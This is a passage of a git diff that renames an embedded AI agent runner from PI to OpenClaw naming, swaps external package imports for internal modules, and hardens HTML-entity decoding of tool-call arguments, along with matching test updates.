=> { @@ -75,7 +76,7 @@ describe("describeEmbeddedAgentStreamStrategy", () => { ).toBe("boundary-aware:openai-responses"); }); - it("describes default Codex fallback as PI native", () => { + it("describes default Codex fallback as OpenClaw native", () => { expect( describeEmbeddedAgentStreamStrategy({ currentStreamFn: undefined, @@ -85,7 +86,7 @@ describe("describeEmbeddedAgentStreamStrategy", () => { id: "codex-mini-latest", } as never, }), - ).toBe("pi-native-codex-responses"); + ).toBe("openclaw-native-codex-responses"); }); it("keeps custom session streams labeled as custom", () => { @@ -146,9 +147,9 @@ describe("resolveEmbeddedAgentStreamFn", () => { expect(streamFn).not.toBe(streamSimple); }); - it("routes Codex responses fallbacks through PI native transport", async () => { + it("routes Codex responses fallbacks through OpenClaw native transport", async () => { const nativeStreamFn = vi.fn(async (_model, context, options) => ({ context, options })); - testing.setPiNativeCodexResponsesStreamFnForTest(nativeStreamFn as never); + testing.setOpenClawNativeCodexResponsesStreamFnForTest(nativeStreamFn as never); const streamFn = resolveEmbeddedAgentStreamFn({ currentStreamFn: undefined, sessionId: "session-1", @@ -188,7 +189,7 @@ describe("resolveEmbeddedAgentStreamFn", () => { expect(streamFn).not.toBe(streamSimple); }); - it("routes PI native OpenAI-compatible provider streams through boundary-aware transports", async () => { + it("routes OpenClaw native OpenAI-compatible provider streams through boundary-aware transports", async () => { const nativeStreamFn = getApiProvider("openai-completions")?.streamSimple; if (!nativeStreamFn) { throw new Error("expected native OpenAI-compatible stream function"); @@ -321,9 +322,9 @@ describe("resolveEmbeddedAgentStreamFn", () => { expect(result.signal).toBe(explicitSignal); }); - it("injects the resolved run api key into the PI native Codex Responses fallback", async () => { + it("injects the resolved run api key into the OpenClaw native Codex Responses fallback", async () => { const nativeStreamFn = vi.fn(async (_model, _context, options) => options); - testing.setPiNativeCodexResponsesStreamFnForTest(nativeStreamFn as never); + testing.setOpenClawNativeCodexResponsesStreamFnForTest(nativeStreamFn as never); const streamFn = resolveEmbeddedAgentStreamFn({ currentStreamFn: undefined, sessionId: "session-1", @@ -343,12 +344,12 @@ describe("resolveEmbeddedAgentStreamFn", () => { expect(nativeStreamFn).toHaveBeenCalledTimes(1); }); - it("falls back to authStorage when no resolved api key is available for PI native fallback", async () => { + it("falls back to authStorage when no resolved api key is available for OpenClaw native fallback", async () => { const nativeStreamFn = vi.fn(async (_model, _context, options) => options); const authStorage = { getApiKey: vi.fn(async () => "stored-bearer-token"), }; - testing.setPiNativeCodexResponsesStreamFnForTest(nativeStreamFn as never); + testing.setOpenClawNativeCodexResponsesStreamFnForTest(nativeStreamFn as never); const streamFn = resolveEmbeddedAgentStreamFn({ currentStreamFn: undefined, sessionId: "session-1", @@ -368,10 +369,10 @@ describe("resolveEmbeddedAgentStreamFn", () => { expect(authStorage.getApiKey).toHaveBeenCalledWith("openai-codex"); }); - it("forwards the run abort signal into the PI native fallback when callers omit one", async () => { + it("forwards the run abort signal into the OpenClaw native fallback when callers omit one", async () => { const nativeStreamFn = vi.fn(async (_model, _context, options) => options); const runSignal = new AbortController().signal; - testing.setPiNativeCodexResponsesStreamFnForTest(nativeStreamFn as never); + testing.setOpenClawNativeCodexResponsesStreamFnForTest(nativeStreamFn as never); const streamFn = resolveEmbeddedAgentStreamFn({ currentStreamFn: undefined, sessionId: "session-1", @@ -392,11 +393,11 @@ describe("resolveEmbeddedAgentStreamFn", () => { expect(result.apiKey).toBe("oauth-bearer-token"); }); - it("does not overwrite an explicit signal on the PI native fallback path", async () => { + it("does not overwrite an explicit signal on the OpenClaw native fallback path", async () => { const nativeStreamFn = vi.fn(async (_model, _context, options) => options); const runSignal = new AbortController().signal; const explicitSignal = new AbortController().signal; - testing.setPiNativeCodexResponsesStreamFnForTest(nativeStreamFn as never); + testing.setOpenClawNativeCodexResponsesStreamFnForTest(nativeStreamFn as never); const streamFn = resolveEmbeddedAgentStreamFn({ currentStreamFn: undefined, sessionId: "session-1", @@ -418,10 +419,10 @@ describe("resolveEmbeddedAgentStreamFn", () => { expect(result.signal).toBe(explicitSignal); }); - it("forwards the run signal on the sync PI native fallback path without auth credentials", async () => { + it("forwards the run signal on the sync OpenClaw native fallback path without auth credentials", async () => { const nativeStreamFn = vi.fn(async (_model, _context, options) => options); const runSignal = new AbortController().signal; - testing.setPiNativeCodexResponsesStreamFnForTest(nativeStreamFn as never); + testing.setOpenClawNativeCodexResponsesStreamFnForTest(nativeStreamFn as never); const streamFn = resolveEmbeddedAgentStreamFn({ currentStreamFn: undefined, sessionId: "session-1", @@ -440,9 +441,9 @@ describe("resolveEmbeddedAgentStreamFn", () => { expect(result.signal).toBe(runSignal); }); - it("strips cache boundary markers on the PI native fallback path", async () => { + it("strips cache boundary markers on the OpenClaw native fallback path", async () => { const nativeStreamFn = vi.fn(async (_model, context, _options) => context); - testing.setPiNativeCodexResponsesStreamFnForTest(nativeStreamFn as never); + testing.setOpenClawNativeCodexResponsesStreamFnForTest(nativeStreamFn as never); const streamFn = resolveEmbeddedAgentStreamFn({ currentStreamFn: undefined, sessionId: "session-1", diff --git a/src/agents/pi-embedded-runner/stream-resolution.ts b/src/agents/embedded-agent-runner/stream-resolution.ts similarity index 85% rename from src/agents/pi-embedded-runner/stream-resolution.ts rename to src/agents/embedded-agent-runner/stream-resolution.ts index fabbb3ec2b0..2e06c56325c 100644 --- a/src/agents/pi-embedded-runner/stream-resolution.ts +++ b/src/agents/embedded-agent-runner/stream-resolution.ts @@ -1,12 +1,13 @@ -import type { StreamFn } from "@earendil-works/pi-agent-core"; -import { getApiProvider, streamSimple } from "@earendil-works/pi-ai"; +import { getApiProvider } from "../../llm/api-registry.js"; +import { streamSimple } from "../../llm/stream.js"; import { createAnthropicVertexStreamFnForModel } from "../anthropic-vertex-stream.js"; import { createBoundaryAwareStreamFnForModel } from "../provider-transport-stream.js"; +import type { StreamFn } from "../runtime/index.js"; import { stripSystemPromptCacheBoundary } from "../system-prompt-cache-boundary.js"; import type { EmbeddedRunAttemptParams } from "./run/types.js"; let embeddedAgentBaseStreamFnCache = new WeakMap(); -let piNativeCodexResponsesStreamFnForTest: StreamFn | undefined; +let openClawNativeCodexResponsesStreamFnForTest: StreamFn | undefined; type EmbeddedStreamOptions = Parameters[2] & { authProfileId?: string; @@ -28,7 +29,7 @@ export function resetEmbeddedAgentBaseStreamFnCacheForTest(): void { embeddedAgentBaseStreamFnCache = new WeakMap(); } -function isDefaultPiStreamFnForModel( +function isDefaultOpenClawStreamFnForModel( model: EmbeddedRunAttemptParams["model"], streamFn: StreamFn | undefined, ): boolean { @@ -51,17 +52,17 @@ function isOpenAICodexResponsesModel(model: EmbeddedRunAttemptParams["model"]): return model.provider === "openai-codex" && model.api === "openai-codex-responses"; } -function resolvePiNativeCodexResponsesStreamFn(params: { +function resolveOpenClawNativeCodexResponsesStreamFn(params: { model: EmbeddedRunAttemptParams["model"]; currentStreamFn: StreamFn | undefined; }): StreamFn | undefined { if (!isOpenAICodexResponsesModel(params.model)) { return undefined; } - if (!isDefaultPiStreamFnForModel(params.model, params.currentStreamFn)) { + if (!isDefaultOpenClawStreamFnForModel(params.model, params.currentStreamFn)) { return undefined; } - return piNativeCodexResponsesStreamFnForTest ?? params.currentStreamFn ?? streamSimple; + return openClawNativeCodexResponsesStreamFnForTest ?? params.currentStreamFn ?? streamSimple; } export function describeEmbeddedAgentStreamStrategy(params: { @@ -77,14 +78,14 @@ export function describeEmbeddedAgentStreamStrategy(params: { return "anthropic-vertex"; } if ( - resolvePiNativeCodexResponsesStreamFn({ + resolveOpenClawNativeCodexResponsesStreamFn({ model: params.model, currentStreamFn: params.currentStreamFn, }) ) { - return "pi-native-codex-responses"; + return "openclaw-native-codex-responses"; } - if (isDefaultPiStreamFnForModel(params.model, params.currentStreamFn)) { + if (isDefaultOpenClawStreamFnForModel(params.model, params.currentStreamFn)) { return createBoundaryAwareStreamFnForModel(params.model) ? `boundary-aware:${params.model.api}` : "stream-simple"; @@ -142,12 +143,12 @@ export function resolveEmbeddedAgentStreamFn(params: { return createAnthropicVertexStreamFnForModel(params.model); } - const piNativeCodexResponsesStreamFn = resolvePiNativeCodexResponsesStreamFn({ + const openClawNativeCodexResponsesStreamFn = resolveOpenClawNativeCodexResponsesStreamFn({ model: params.model, currentStreamFn: params.currentStreamFn, }); - if (piNativeCodexResponsesStreamFn) { - return wrapEmbeddedAgentStreamFn(piNativeCodexResponsesStreamFn, { + if (openClawNativeCodexResponsesStreamFn) { + return wrapEmbeddedAgentStreamFn(openClawNativeCodexResponsesStreamFn, { runSignal: params.signal, resolvedApiKey: params.resolvedApiKey, authProfileId: params.authProfileId, @@ -165,12 +166,12 @@ export function resolveEmbeddedAgentStreamFn(params: { } if ( - isDefaultPiStreamFnForModel(params.model, params.currentStreamFn) || + isDefaultOpenClawStreamFnForModel(params.model, params.currentStreamFn) || hasResolvedRuntimeApiKey(params.resolvedApiKey) ) { const boundaryAwareStreamFn = createBoundaryAwareStreamFnForModel(params.model); if (boundaryAwareStreamFn) { - // Some PI session factories return a provider-specific stream wrapper + // Some OpenClaw session factories return a provider-specific stream wrapper // once runtime auth is resolved. Keep transport-supported APIs on // OpenClaw's HTTP transport so provider-specific auth/header semantics // are not lost behind that wrapper. @@ -193,11 +194,11 @@ export function resolveEmbeddedAgentStreamFn(params: { } export const testing = { - setPiNativeCodexResponsesStreamFnForTest(streamFn: StreamFn | undefined): void { - piNativeCodexResponsesStreamFnForTest = streamFn; + setOpenClawNativeCodexResponsesStreamFnForTest(streamFn: StreamFn | undefined): void { + openClawNativeCodexResponsesStreamFnForTest = streamFn; }, - resetPiNativeCodexResponsesStreamFnForTest(): void { - piNativeCodexResponsesStreamFnForTest = undefined; + resetOpenClawNativeCodexResponsesStreamFnForTest(): void { + openClawNativeCodexResponsesStreamFnForTest = undefined; }, }; diff --git a/src/agents/pi-embedded-runner/system-prompt.test.ts b/src/agents/embedded-agent-runner/system-prompt.test.ts similarity index 98% rename from src/agents/pi-embedded-runner/system-prompt.test.ts rename to src/agents/embedded-agent-runner/system-prompt.test.ts index 46ffb901cd3..3664612d378 100644 --- a/src/agents/pi-embedded-runner/system-prompt.test.ts +++ b/src/agents/embedded-agent-runner/system-prompt.test.ts @@ -1,4 +1,4 @@ -import type { AgentSession } from "@earendil-works/pi-coding-agent"; +import type { AgentSession } from "openclaw/plugin-sdk/agent-sessions"; import { afterEach, describe, expect, it, vi } from "vitest"; import { clearMemoryPluginState, registerMemoryPromptSection } from "../../plugins/memory-state.js"; import { @@ -207,7 +207,7 @@ describe("buildEmbeddedSystemPrompt", () => { }); expect(prompt).toContain("- sessions_spawn"); - expect(prompt).not.toContain("Pi lists the standard tools above"); + expect(prompt).not.toContain("OpenClaw lists the standard tools above"); expect(prompt).not.toContain("For long waits, avoid rapid poll loops"); expect(prompt).not.toContain("Larger work: use `sessions_spawn`"); expect(prompt).not.toContain("Do not poll `subagents list` / `sessions_list` in a loop"); diff --git a/src/agents/pi-embedded-runner/system-prompt.ts b/src/agents/embedded-agent-runner/system-prompt.ts similarity index 96% rename from src/agents/pi-embedded-runner/system-prompt.ts rename to src/agents/embedded-agent-runner/system-prompt.ts index 32c393319fd..c6d1f416479 100644 --- a/src/agents/pi-embedded-runner/system-prompt.ts +++ b/src/agents/embedded-agent-runner/system-prompt.ts @@ -1,5 +1,3 @@ -import type { AgentTool } from "@earendil-works/pi-agent-core"; -import type { AgentSession } from "@earendil-works/pi-coding-agent"; import type { SourceReplyDeliveryMode } from "../../auto-reply/get-reply-options.types.js"; import type { SubagentDelegationMode } from "../../config/types.agent-defaults.js"; import type { MemoryCitationsMode } from "../../config/types.memory.js"; @@ -8,7 +6,9 @@ import type { AgentPromptSurfaceKind } from "../../plugins/types.js"; import type { ActiveProcessSessionReference } from "../bash-process-references.js"; import type { BootstrapMode } from "../bootstrap-mode.js"; import type { ResolvedTimeFormat } from "../date-time.js"; -import type { EmbeddedContextFile } from "../pi-embedded-helpers.js"; +import type { EmbeddedContextFile } from "../embedded-agent-helpers.js"; +import type { AgentTool } from "../runtime/index.js"; +import type { AgentSession } from "../sessions/index.js"; import { buildConfiguredAgentSystemPrompt } from "../system-prompt-config.js"; import type { ProviderSystemPromptContribution } from "../system-prompt-contribution.js"; import type { PromptMode, SilentReplyPromptMode } from "../system-prompt.types.js"; @@ -45,7 +45,7 @@ export function buildEmbeddedSystemPrompt(params: { subagentDelegationMode?: SubagentDelegationMode; /** Whether ACP-specific routing guidance should be included. Defaults to true. */ acpEnabled?: boolean; - /** Prompt surface controls runtime-specific fallback fragments. Defaults to PI main. */ + /** Prompt surface controls runtime-specific fallback fragments. Defaults to OpenClaw main. */ promptSurface?: AgentPromptSurfaceKind; /** Registered runtime slash/native command names such as `codex`. */ nativeCommandNames?: string[]; diff --git a/src/agents/pi-embedded-runner/thinking.test.ts b/src/agents/embedded-agent-runner/thinking.test.ts similarity index 99% rename from src/agents/pi-embedded-runner/thinking.test.ts rename to src/agents/embedded-agent-runner/thinking.test.ts index 819d4dd3f51..941dcb2cad2 100644 --- a/src/agents/pi-embedded-runner/thinking.test.ts +++ b/src/agents/embedded-agent-runner/thinking.test.ts @@ -1,5 +1,5 @@ -import type { AgentMessage } from "@earendil-works/pi-agent-core"; -import { createAssistantMessageEventStream } from "@earendil-works/pi-ai"; +import type { AgentMessage } from "openclaw/plugin-sdk/agent-core"; +import { createAssistantMessageEventStream } from "openclaw/plugin-sdk/llm"; import { describe, expect, it } from "vitest"; import { castAgentMessage, castAgentMessages } from "../test-helpers/agent-message-fixtures.js"; import { diff --git a/src/agents/pi-embedded-runner/thinking.ts b/src/agents/embedded-agent-runner/thinking.ts similarity index 99% rename from src/agents/pi-embedded-runner/thinking.ts rename to src/agents/embedded-agent-runner/thinking.ts index b54376427ef..080934984ee 100644 --- a/src/agents/pi-embedded-runner/thinking.ts +++ b/src/agents/embedded-agent-runner/thinking.ts @@ -1,6 +1,6 @@ -import type { AgentMessage, StreamFn } from "@earendil-works/pi-agent-core"; -import { createAssistantMessageEventStream } from "@earendil-works/pi-ai"; import { formatErrorMessage } from "../../infra/errors.js"; +import { createAssistantMessageEventStream } from "../../llm/utils/event-stream.js"; +import type { AgentMessage, StreamFn } from "../runtime/index.js"; import { log } from "./logger.js"; type AssistantContentBlock = Extract["content"][number]; diff --git a/src/agents/embedded-agent-runner/tool-call-argument-decoding.test.ts b/src/agents/embedded-agent-runner/tool-call-argument-decoding.test.ts new file mode 100644 index 00000000000..87411cf0537 --- /dev/null +++ b/src/agents/embedded-agent-runner/tool-call-argument-decoding.test.ts @@ -0,0 +1,24 @@ +import { describe, expect, it } from "vitest"; +import { decodeHtmlEntitiesInObject } from "./tool-call-argument-decoding.js"; + +describe("decodeHtmlEntitiesInObject", () => { + it("decodes valid HTML entities in nested tool arguments", () => { + expect( + decodeHtmlEntitiesInObject({ + query: "Rock & Roll A 'ok'", + }), + ).toEqual({ + query: "Rock & Roll A 'ok'", + }); + }); + + it("preserves invalid numeric HTML entities", () => { + expect( + decodeHtmlEntitiesInObject({ + query: "bad � and �", + }), + ).toEqual({ + query: "bad � and �", + }); + }); +}); diff --git a/src/agents/pi-embedded-runner/tool-call-argument-decoding.ts b/src/agents/embedded-agent-runner/tool-call-argument-decoding.ts similarity index 81% rename from src/agents/pi-embedded-runner/tool-call-argument-decoding.ts rename to src/agents/embedded-agent-runner/tool-call-argument-decoding.ts index b61cf2150a0..96536ebd9de 100644 --- a/src/agents/pi-embedded-runner/tool-call-argument-decoding.ts +++ b/src/agents/embedded-agent-runner/tool-call-argument-decoding.ts @@ -1,10 +1,18 @@ -import type { StreamFn } from "@earendil-works/pi-agent-core"; -import { streamSimple } from "@earendil-works/pi-ai"; +import { streamSimple } from "../../llm/stream.js"; import { visitObjectContentBlocks } from "../../shared/message-content-blocks.js"; +import type { StreamFn } from "../runtime/index.js"; +import type { MutableAssistantMessageEventStream } from "../stream-compat.js"; const HTML_ENTITY_RE = /&(?:amp|lt|gt|quot|apos|#39|#x[0-9a-f]+|#\d+);/i; function decodeHtmlEntities(value: string): string { + const decodeNumericEntity = (raw: string, radix: 10 | 16): string => { + const codePoint = Number.parseInt(raw, radix); + return Number.isFinite(codePoint) && codePoint >= 0 && codePoint <= 0x10ffff + ? String.fromCodePoint(codePoint) + : `&#${radix === 16 ? "x" : ""}${raw};`; + }; + return value .replace(/&/gi, "&") .replace(/"/gi, '"') @@ -12,8 +20,8 @@ function decodeHtmlEntities(value: string): string { .replace(/'/gi, "'") .replace(/</gi, "<") .replace(/>/gi, ">") - .replace(/&#x([0-9a-f]+);/gi, (_, hex) => String.fromCodePoint(Number.parseInt(hex, 16))) - .replace(/&#(\d+);/gi, (_, dec) => String.fromCodePoint(Number.parseInt(dec, 10))); + .replace(/&#x([0-9a-f]+);/gi, (_, hex: string) => decodeNumericEntity(hex, 16)) + .replace(/&#(\d+);/gi, (_, dec: string) => decodeNumericEntity(dec, 10)); } export function decodeHtmlEntitiesInObject(value: unknown): unknown { @@ -46,9 +54,9 @@ function decodeToolCallArgumentsHtmlEntitiesInMessage(message: unknown): void { } function wrapStreamMessageObjects( - stream: ReturnType, + stream: MutableAssistantMessageEventStream, transformMessage: (message: unknown) => void, -): ReturnType { +): MutableAssistantMessageEventStream { const originalResult = stream.result.bind(stream); stream.result = async () => { const message = await originalResult(); diff --git a/src/agents/pi-embedded-runner/tool-name-allowlist.test.ts b/src/agents/embedded-agent-runner/tool-name-allowlist.test.ts similarity index 87% rename from src/agents/pi-embedded-runner/tool-name-allowlist.test.ts rename to src/agents/embedded-agent-runner/tool-name-allowlist.test.ts index e3ed5de9518..ad83524cea1 100644 --- a/src/agents/pi-embedded-runner/tool-name-allowlist.test.ts +++ b/src/agents/embedded-agent-runner/tool-name-allowlist.test.ts @@ -1,6 +1,6 @@ import { describe, expect, it } from "vitest"; -import { findClientToolNameConflicts } from "../pi-tool-definition-adapter.js"; -import { createStubTool } from "../test-helpers/pi-tool-stubs.js"; +import { findClientToolNameConflicts } from "../agent-tool-definition-adapter.js"; +import { createStubTool } from "../test-helpers/agent-tool-stubs.js"; import { addClientToolsToToolSearchCatalog, applyToolSearchCatalog, @@ -11,7 +11,7 @@ import { collectAllowedToolNames, collectCoreBuiltinToolNames, collectRegisteredToolNames, - PI_RESERVED_TOOL_NAMES, + AGENT_RESERVED_TOOL_NAMES, toSessionToolAllowlist, } from "./tool-name-allowlist.js"; @@ -34,13 +34,13 @@ describe("tool name allowlists", () => { expect([...names]).toEqual(["read", "memory_search", "image_generate"]); }); - it("builds a stable Pi session allowlist from custom tool names", () => { + it("builds a stable agent session allowlist from custom tool names", () => { const allowlist = toSessionToolAllowlist(new Set(["write", "read", "read", "edit"])); expect(allowlist).toEqual(["edit", "read", "write"]); }); - it("collects exact registered custom-tool names for the Pi session allowlist", () => { + it("collects exact registered custom-tool names for the agent session allowlist", () => { const allowlist = toSessionToolAllowlist( collectRegisteredToolNames([ { name: "exec" }, @@ -79,16 +79,24 @@ describe("tool name allowlists", () => { }, }, ], - existingToolNames: [...names, ...PI_RESERVED_TOOL_NAMES], + existingToolNames: [...names, ...AGENT_RESERVED_TOOL_NAMES], }), ).toEqual(["exec"]); }); - it("pins the reserved Pi built-in tool namespace used by client conflict checks", () => { - expect(PI_RESERVED_TOOL_NAMES).toEqual(["bash", "edit", "find", "grep", "ls", "read", "write"]); + it("pins the reserved OpenClaw built-in tool namespace used by client conflict checks", () => { + expect(AGENT_RESERVED_TOOL_NAMES).toEqual([ + "bash", + "edit", + "find", + "grep", + "ls", + "read", + "write", + ]); }); - it("keeps collected run allowlists broader than the Pi session allowlist source", () => { + it("keeps collected run allowlists broader than the agent session allowlist source", () => { const allowlist = toSessionToolAllowlist( collectAllowedToolNames({ tools: [createStubTool("exec"), createStubTool("read"), createStubTool("exec")], diff --git a/src/agents/pi-embedded-runner/tool-name-allowlist.ts b/src/agents/embedded-agent-runner/tool-name-allowlist.ts similarity index 75% rename from src/agents/pi-embedded-runner/tool-name-allowlist.ts rename to src/agents/embedded-agent-runner/tool-name-allowlist.ts index 4fa60e2ac30..8b62add2f58 100644 --- a/src/agents/pi-embedded-runner/tool-name-allowlist.ts +++ b/src/agents/embedded-agent-runner/tool-name-allowlist.ts @@ -1,12 +1,11 @@ -import type { AgentTool } from "@earendil-works/pi-agent-core"; -import { sortUniqueStrings } from "../../shared/string-normalization.js"; +import type { AgentTool } from "../runtime/index.js"; import type { ClientToolDefinition } from "./run/params.js"; /** - * Pi built-in tools that remain present in the embedded runtime even when + * OpenClaw built-in tools that remain present in the embedded runtime even when * OpenClaw routes execution through custom tool definitions. */ -export const PI_RESERVED_TOOL_NAMES = ["bash", "edit", "find", "grep", "ls", "read", "write"]; +export const AGENT_RESERVED_TOOL_NAMES = ["bash", "edit", "find", "grep", "ls", "read", "write"]; function addName(names: Set, value: unknown): void { if (typeof value !== "string") { @@ -33,7 +32,7 @@ export function collectAllowedToolNames(params: { } /** - * Collect the exact tool names registered with Pi for this session. + * Collect the exact tool names registered with the embedded agent for this session. */ export function collectRegisteredToolNames(tools: Array<{ name?: string }>): Set { const names = new Set(); @@ -58,5 +57,5 @@ export function collectCoreBuiltinToolNames( } export function toSessionToolAllowlist(allowedToolNames: Iterable): string[] { - return sortUniqueStrings(allowedToolNames); + return [...new Set(allowedToolNames)].toSorted((a, b) => a.localeCompare(b)); } diff --git a/src/agents/pi-embedded-runner/tool-result-char-estimator.test.ts b/src/agents/embedded-agent-runner/tool-result-char-estimator.test.ts similarity index 96% rename from src/agents/pi-embedded-runner/tool-result-char-estimator.test.ts rename to src/agents/embedded-agent-runner/tool-result-char-estimator.test.ts index de27accf7a2..27417e80eb6 100644 --- a/src/agents/pi-embedded-runner/tool-result-char-estimator.test.ts +++ b/src/agents/embedded-agent-runner/tool-result-char-estimator.test.ts @@ -1,4 +1,4 @@ -import type { AgentMessage } from "@earendil-works/pi-agent-core"; +import type { AgentMessage } from "openclaw/plugin-sdk/agent-core"; import { describe, expect, it } from "vitest"; import { createMessageCharEstimateCache, diff --git a/src/agents/pi-embedded-runner/tool-result-char-estimator.ts b/src/agents/embedded-agent-runner/tool-result-char-estimator.ts similarity index 98% rename from src/agents/pi-embedded-runner/tool-result-char-estimator.ts rename to src/agents/embedded-agent-runner/tool-result-char-estimator.ts index b12f326dbab..7c2e859d805 100644 --- a/src/agents/pi-embedded-runner/tool-result-char-estimator.ts +++ b/src/agents/embedded-agent-runner/tool-result-char-estimator.ts @@ -1,4 +1,4 @@ -import type { AgentMessage } from "@earendil-works/pi-agent-core"; +import type { AgentMessage } from "../runtime/index.js"; export const CHARS_PER_TOKEN_ESTIMATE = 4; export const TOOL_RESULT_CHARS_PER_TOKEN_ESTIMATE = 2; diff --git a/src/agents/pi-embedded-runner/tool-result-context-guard.test.ts b/src/agents/embedded-agent-runner/tool-result-context-guard.test.ts similarity index 98% rename from src/agents/pi-embedded-runner/tool-result-context-guard.test.ts rename to src/agents/embedded-agent-runner/tool-result-context-guard.test.ts index da009b8e218..f8eeed0399e 100644 --- a/src/agents/pi-embedded-runner/tool-result-context-guard.test.ts +++ b/src/agents/embedded-agent-runner/tool-result-context-guard.test.ts @@ -1,4 +1,4 @@ -import type { AgentMessage } from "@earendil-works/pi-agent-core"; +import type { AgentMessage } from "openclaw/plugin-sdk/agent-core"; import { describe, expect, it, vi } from "vitest"; import type { ContextEngine } from "../../context-engine/types.js"; import { castAgentMessage } from "../test-helpers/agent-message-fixtures.js"; @@ -135,7 +135,7 @@ async function applyMidTurnPrecheckGuardToContext( return await agent.transformContext?.(contextForNextCall, new AbortController().signal); } -function expectPiStyleTruncation(text: string): void { +function expectOpenClawTruncation(text: string): void { expect(text).toContain(CONTEXT_LIMIT_TRUNCATION_NOTICE); expect(text).toMatch( /\[\.\.\. \d+ more characters truncated; rerun with narrower args if needed\]$/, @@ -170,7 +170,7 @@ function recordMockArg( } describe("formatContextLimitTruncationNotice", () => { - it("formats pi-style truncation wording with a count", () => { + it("formats truncation wording with a count", () => { expect(formatContextLimitTruncationNotice(123)).toBe( "[... 123 more characters truncated; rerun with narrower args if needed]", ); @@ -205,7 +205,7 @@ describe("installToolResultContextGuard", () => { expect(transformed).not.toBe(contextForNextCall); const newResultText = getToolResultText(transformed[0]); expect(newResultText.length).toBeLessThan(5_000); - expectPiStyleTruncation(newResultText); + expectOpenClawTruncation(newResultText); expect(getToolResultText(contextForNextCall[0])).toBe("z".repeat(5_000)); }); @@ -222,10 +222,10 @@ describe("installToolResultContextGuard", () => { const transformed = (await applyGuardToContext(agent, contextForNextCall)) as AgentMessage[]; expect(transformed).not.toBe(contextForNextCall); - expectPiStyleTruncation(getToolResultText(transformed[0])); + expectOpenClawTruncation(getToolResultText(transformed[0])); }); - it("handles legacy role=tool string outputs with pi-style truncation wording", async () => { + it("handles legacy role=tool string outputs with truncation wording", async () => { const agent = makeGuardableAgent(); const contextForNextCall = [makeLegacyToolResult("call_big", "y".repeat(5_000))]; @@ -233,7 +233,7 @@ describe("installToolResultContextGuard", () => { const newResultText = getToolResultText(transformed[0]); expect(typeof (transformed[0] as { content?: unknown }).content).toBe("string"); - expectPiStyleTruncation(newResultText); + expectOpenClawTruncation(newResultText); }); it("drops oversized tool-result details when truncating once", async () => { @@ -246,7 +246,7 @@ describe("installToolResultContextGuard", () => { const result = transformed[0] as { details?: unknown }; const newResultText = getToolResultText(transformed[0]); - expectPiStyleTruncation(newResultText); + expectOpenClawTruncation(newResultText); expect(result.details).toBeUndefined(); const originalDetails = (contextForNextCall[0] as { details?: { truncation?: unknown } }) .details; @@ -312,7 +312,7 @@ describe("installToolResultContextGuard", () => { 100_000, )) as AgentMessage[]; - expectPiStyleTruncation(getToolResultText(transformed[0])); + expectOpenClawTruncation(getToolResultText(transformed[0])); }); it("raises a structured mid-turn precheck signal after a new tool result overflows", async () => { diff --git a/src/agents/pi-embedded-runner/tool-result-context-guard.ts b/src/agents/embedded-agent-runner/tool-result-context-guard.ts similarity index 98% rename from src/agents/pi-embedded-runner/tool-result-context-guard.ts rename to src/agents/embedded-agent-runner/tool-result-context-guard.ts index 6e45144fb99..e78f9946423 100644 --- a/src/agents/pi-embedded-runner/tool-result-context-guard.ts +++ b/src/agents/embedded-agent-runner/tool-result-context-guard.ts @@ -1,5 +1,5 @@ -import type { AgentMessage } from "@earendil-works/pi-agent-core"; import type { ContextEngine, ContextEngineRuntimeContext } from "../../context-engine/types.js"; +import type { AgentMessage } from "../runtime/index.js"; import { CONTEXT_LIMIT_TRUNCATION_NOTICE, formatContextLimitTruncationNotice, @@ -372,7 +372,7 @@ export function installToolResultContextGuard(params: { ), ); - // Agent.transformContext is private in pi-coding-agent, so access it via a + // Agent.transformContext is private in session runtime, so access it via a // narrow runtime view to keep callsites type-safe while preserving behavior. const mutableAgent = params.agent as GuardableAgentRecord; const originalTransformContext = mutableAgent.transformContext; @@ -413,7 +413,7 @@ export function installToolResultContextGuard(params: { prePromptMessageCount, }) ) { - // Use the same post-truncation view Pi will send to the next model call. + // Use the same post-truncation view the runtime will send to the next model call. // Recovery re-applies truncation to the persisted session manager, so // this precheck is only a routing signal, not the source of truth. const precheck = shouldPreemptivelyCompactBeforePrompt({ diff --git a/src/agents/pi-embedded-runner/tool-result-truncation.test.ts b/src/agents/embedded-agent-runner/tool-result-truncation.test.ts similarity index 99% rename from src/agents/pi-embedded-runner/tool-result-truncation.test.ts rename to src/agents/embedded-agent-runner/tool-result-truncation.test.ts index 8a46561169f..501ba81b81b 100644 --- a/src/agents/pi-embedded-runner/tool-result-truncation.test.ts +++ b/src/agents/embedded-agent-runner/tool-result-truncation.test.ts @@ -1,9 +1,9 @@ import fs from "node:fs/promises"; import os from "node:os"; import path from "node:path"; -import type { AgentMessage } from "@earendil-works/pi-agent-core"; -import type { AssistantMessage, ToolResultMessage, UserMessage } from "@earendil-works/pi-ai"; -import { SessionManager } from "@earendil-works/pi-coding-agent"; +import type { AgentMessage } from "openclaw/plugin-sdk/agent-core"; +import { SessionManager } from "openclaw/plugin-sdk/agent-sessions"; +import type { AssistantMessage, ToolResultMessage, UserMessage } from "openclaw/plugin-sdk/llm"; import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; import { onSessionTranscriptUpdate } from "../../sessions/transcript-events.js"; import { makeAgentAssistantMessage } from "../test-helpers/agent-message-fixtures.js"; diff --git a/src/agents/pi-embedded-runner/tool-result-truncation.ts b/src/agents/embedded-agent-runner/tool-result-truncation.ts similarity index 98% rename from src/agents/pi-embedded-runner/tool-result-truncation.ts rename to src/agents/embedded-agent-runner/tool-result-truncation.ts index c6376d2e6c3..4ee240589ee 100644 --- a/src/agents/pi-embedded-runner/tool-result-truncation.ts +++ b/src/agents/embedded-agent-runner/tool-result-truncation.ts @@ -1,16 +1,16 @@ -import type { AgentMessage } from "@earendil-works/pi-agent-core"; -import type { TextContent } from "@earendil-works/pi-ai"; -import { SessionManager } from "@earendil-works/pi-coding-agent"; import type { OpenClawConfig } from "../../config/types.openclaw.js"; import { formatErrorMessage } from "../../infra/errors.js"; +import type { TextContent } from "../../llm/types.js"; import { emitSessionTranscriptUpdate } from "../../sessions/transcript-events.js"; import { normalizeLowercaseStringOrEmpty } from "../../shared/string-coerce.js"; import { resolveAgentContextLimits } from "../agent-scope.js"; +import type { AgentMessage } from "../runtime/index.js"; import { acquireSessionWriteLock, type SessionWriteLockAcquireTimeoutConfig, resolveSessionWriteLockOptions, } from "../session-write-lock.js"; +import { SessionManager } from "../sessions/index.js"; import { formatContextLimitTruncationNotice } from "./context-truncation-notice.js"; import { log } from "./logger.js"; import { @@ -33,7 +33,7 @@ const MAX_TOOL_RESULT_CONTEXT_SHARE = 0.3; /** * Low-context default cap for a single live tool result text block. * - * 